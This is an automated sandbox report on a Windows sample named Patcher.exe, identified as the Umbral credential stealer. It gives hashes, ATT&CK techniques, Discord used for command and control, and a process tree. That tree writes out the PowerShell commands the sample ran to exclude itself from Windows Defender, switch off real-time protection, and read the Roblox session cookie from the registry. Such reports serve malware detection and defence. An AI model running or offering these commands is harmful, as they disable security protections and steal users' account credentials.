umbral | 42441a6e6eefa60a69c49cc280d1faafa48e0a3bc8e6787c3248a0c610c48c64

Analysis

max time kernel
96s
max time network
97s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
09-09-2024 08:11

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General

Target

Patcher.exe
Size

292KB
MD5

40e407453b653751e0f3b6237500c362
SHA1

70c4819f3df236d816f01e884b88c683c87de8a7
SHA256

42441a6e6eefa60a69c49cc280d1faafa48e0a3bc8e6787c3248a0c610c48c64
SHA512

8298c7ef17583af41230b9a8a2d8cb69033f97a6a5ea19804f40e7d95c22af12feaef3b3a8f609320f72a85d323127aea6bdb8d493303ffd9c31bf14998737bb
SSDEEP

6144:zloZMArIkd8g+EtXHkv/iD4Na1Q2AmB5K7/Cwhl0fjb8e1moirBcG95S:xoZHL+EP8Na1Q2AmB5K7/Cwhl0/arxK

Score

10^/10

umbral credential_access execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral2/memory/4308-1-0x000001B363F90000-0x000001B363FE0000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
3920	powershell.exe
1940	powershell.exe
4356	powershell.exe
4536	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	Patcher.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
20	discord.com
21	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
14	ip-api.com

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
4352	wmic.exe

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
3920	powershell.exe
3920	powershell.exe
1940	powershell.exe
1940	powershell.exe
4356	powershell.exe
4356	powershell.exe
4920	powershell.exe
4920	powershell.exe
4536	powershell.exe
4536	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4308	Patcher.exe
Token: SeDebugPrivilege	3920	powershell.exe
Token: SeDebugPrivilege	1940	powershell.exe
Token: SeDebugPrivilege	4356	powershell.exe
Token: SeDebugPrivilege	4920	powershell.exe
Token: SeIncreaseQuotaPrivilege	1412	wmic.exe
Token: SeSecurityPrivilege	1412	wmic.exe
Token: SeTakeOwnershipPrivilege	1412	wmic.exe
Token: SeLoadDriverPrivilege	1412	wmic.exe
Token: SeSystemProfilePrivilege	1412	wmic.exe
Token: SeSystemtimePrivilege	1412	wmic.exe
Token: SeProfSingleProcessPrivilege	1412	wmic.exe
Token: SeIncBasePriorityPrivilege	1412	wmic.exe
Token: SeCreatePagefilePrivilege	1412	wmic.exe
Token: SeBackupPrivilege	1412	wmic.exe
Token: SeRestorePrivilege	1412	wmic.exe
Token: SeShutdownPrivilege	1412	wmic.exe
Token: SeDebugPrivilege	1412	wmic.exe
Token: SeSystemEnvironmentPrivilege	1412	wmic.exe
Token: SeRemoteShutdownPrivilege	1412	wmic.exe
Token: SeUndockPrivilege	1412	wmic.exe
Token: SeManageVolumePrivilege	1412	wmic.exe
Token: 33	1412	wmic.exe
Token: 34	1412	wmic.exe
Token: 35	1412	wmic.exe
Token: 36	1412	wmic.exe
Token: SeIncreaseQuotaPrivilege	1412	wmic.exe
Token: SeSecurityPrivilege	1412	wmic.exe
Token: SeTakeOwnershipPrivilege	1412	wmic.exe
Token: SeLoadDriverPrivilege	1412	wmic.exe
Token: SeSystemProfilePrivilege	1412	wmic.exe
Token: SeSystemtimePrivilege	1412	wmic.exe
Token: SeProfSingleProcessPrivilege	1412	wmic.exe
Token: SeIncBasePriorityPrivilege	1412	wmic.exe
Token: SeCreatePagefilePrivilege	1412	wmic.exe
Token: SeBackupPrivilege	1412	wmic.exe
Token: SeRestorePrivilege	1412	wmic.exe
Token: SeShutdownPrivilege	1412	wmic.exe
Token: SeDebugPrivilege	1412	wmic.exe
Token: SeSystemEnvironmentPrivilege	1412	wmic.exe
Token: SeRemoteShutdownPrivilege	1412	wmic.exe
Token: SeUndockPrivilege	1412	wmic.exe
Token: SeManageVolumePrivilege	1412	wmic.exe
Token: 33	1412	wmic.exe
Token: 34	1412	wmic.exe
Token: 35	1412	wmic.exe
Token: 36	1412	wmic.exe
Token: SeIncreaseQuotaPrivilege	652	wmic.exe
Token: SeSecurityPrivilege	652	wmic.exe
Token: SeTakeOwnershipPrivilege	652	wmic.exe
Token: SeLoadDriverPrivilege	652	wmic.exe
Token: SeSystemProfilePrivilege	652	wmic.exe
Token: SeSystemtimePrivilege	652	wmic.exe
Token: SeProfSingleProcessPrivilege	652	wmic.exe
Token: SeIncBasePriorityPrivilege	652	wmic.exe
Token: SeCreatePagefilePrivilege	652	wmic.exe
Token: SeBackupPrivilege	652	wmic.exe
Token: SeRestorePrivilege	652	wmic.exe
Token: SeShutdownPrivilege	652	wmic.exe
Token: SeDebugPrivilege	652	wmic.exe
Token: SeSystemEnvironmentPrivilege	652	wmic.exe
Token: SeRemoteShutdownPrivilege	652	wmic.exe
Token: SeUndockPrivilege	652	wmic.exe
Token: SeManageVolumePrivilege	652	wmic.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 4308 wrote to memory of 3920	4308	Patcher.exe	87
PID 4308 wrote to memory of 3920	4308	Patcher.exe	87
PID 4308 wrote to memory of 1940	4308	Patcher.exe	90
PID 4308 wrote to memory of 1940	4308	Patcher.exe	90
PID 4308 wrote to memory of 4356	4308	Patcher.exe	92
PID 4308 wrote to memory of 4356	4308	Patcher.exe	92
PID 4308 wrote to memory of 4920	4308	Patcher.exe	94
PID 4308 wrote to memory of 4920	4308	Patcher.exe	94
PID 4308 wrote to memory of 1412	4308	Patcher.exe	96
PID 4308 wrote to memory of 1412	4308	Patcher.exe	96
PID 4308 wrote to memory of 652	4308	Patcher.exe	99
PID 4308 wrote to memory of 652	4308	Patcher.exe	99
PID 4308 wrote to memory of 5100	4308	Patcher.exe	101
PID 4308 wrote to memory of 5100	4308	Patcher.exe	101
PID 4308 wrote to memory of 4536	4308	Patcher.exe	103
PID 4308 wrote to memory of 4536	4308	Patcher.exe	103
PID 4308 wrote to memory of 4352	4308	Patcher.exe	105
PID 4308 wrote to memory of 4352	4308	Patcher.exe	105

C:\Users\Admin\AppData\Local\Temp\Patcher.exe
"C:\Users\Admin\AppData\Local\Temp\Patcher.exe"
1⤵
- Drops file in Drivers directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4308
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Patcher.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3920
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1940
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4356
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4920
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1412
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:652
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:5100
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4536
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:4352

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
6d3e9c29fe44e90aae6ed30ccf799ca8

SHA1
c7974ef72264bbdf13a2793ccf1aed11bc565dce

SHA256
2360634e63e8f0b5748e2c56ebb8f4aa78e71008ea7b5c9ca1c49be03b49557d

SHA512
60c38c4367352537545d859f64b9c5cbada94240478d1d039fd27b5ecba4dc1c90051557c16d802269703b873546ead416279c0a80c6fd5e49ad361cef22596a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
f4bf3ca8753d6bb9725419fec1ec74b9

SHA1
71fce9d17d1d92873236a9a827c52eb9e4827f3d

SHA256
ca8697e4ada4c3d4aac2899b8aad4052ccd605fccee05ee0a831368bde2f7417

SHA512
a55a107ae8bcf833ea674413c765cd55096146c9634dff41884fcc851c12fe47753308099525c99ae44883facfb668c8b292dd915263f34ebd1190391cb28a54

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
276798eeb29a49dc6e199768bc9c2e71

SHA1
5fdc8ccb897ac2df7476fbb07517aca5b7a6205b

SHA256
cd0a1056e8f1b6cb5cb328532239d802f4e2aa8f8fcdc0fcb487684bd68e0dcc

SHA512
0d34fce64bbefc57d64fa6e03ca886952263d5f24df9c1c4cce6a1e8f5a47a9a21e9820f8d38caa7f7b43a52336ce00b738ea18419aaa7c788b72e04ce19e4f2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
6317adf4fbc43ea2fd68861fafd57155

SHA1
6b87c718893c83c6eed2767e8d9cbc6443e31913

SHA256
c1ead17eef37b4b461cedc276504a441489e819c7f943037f2001966aeec90af

SHA512
17229aae8622e4bfc3caaac55684f7d4ccd3162af5919c851b1d8ac4060b6bb7b75044ecee116523d05acb55197dcb60780958f629450edef386f1e6f65f49f0

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_aomizsvj.enl.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1940-31-0x000001C37F540000-0x000001C37F75C000-memory.dmp

Filesize
2.1MB

Download
memory/3920-15-0x00007FF95A9B0000-0x00007FF95B471000-memory.dmp

Filesize
10.8MB

Download
memory/3920-18-0x00007FF95A9B0000-0x00007FF95B471000-memory.dmp

Filesize
10.8MB

Download
memory/3920-13-0x00007FF95A9B0000-0x00007FF95B471000-memory.dmp

Filesize
10.8MB

Download
memory/3920-14-0x00007FF95A9B0000-0x00007FF95B471000-memory.dmp

Filesize
10.8MB

Download
memory/3920-12-0x00000154F79D0000-0x00000154F79F2000-memory.dmp

Filesize
136KB

Download
memory/4308-36-0x000001B37E670000-0x000001B37E68E000-memory.dmp

Filesize
120KB

Download
memory/4308-35-0x000001B37E770000-0x000001B37E7C0000-memory.dmp

Filesize
320KB

Download
memory/4308-34-0x000001B37E6F0000-0x000001B37E766000-memory.dmp

Filesize
472KB

Download
memory/4308-0-0x00007FF95A9B3000-0x00007FF95A9B5000-memory.dmp

Filesize
8KB

Download
memory/4308-1-0x000001B363F90000-0x000001B363FE0000-memory.dmp

Filesize
320KB

Download
memory/4308-72-0x000001B37E500000-0x000001B37E50A000-memory.dmp

Filesize
40KB

Download
memory/4308-73-0x000001B37E8E0000-0x000001B37E8F2000-memory.dmp

Filesize
72KB

Download
memory/4308-2-0x00007FF95A9B0000-0x00007FF95B471000-memory.dmp

Filesize
10.8MB

Download
memory/4308-91-0x00007FF95A9B0000-0x00007FF95B471000-memory.dmp

Filesize
10.8MB

Download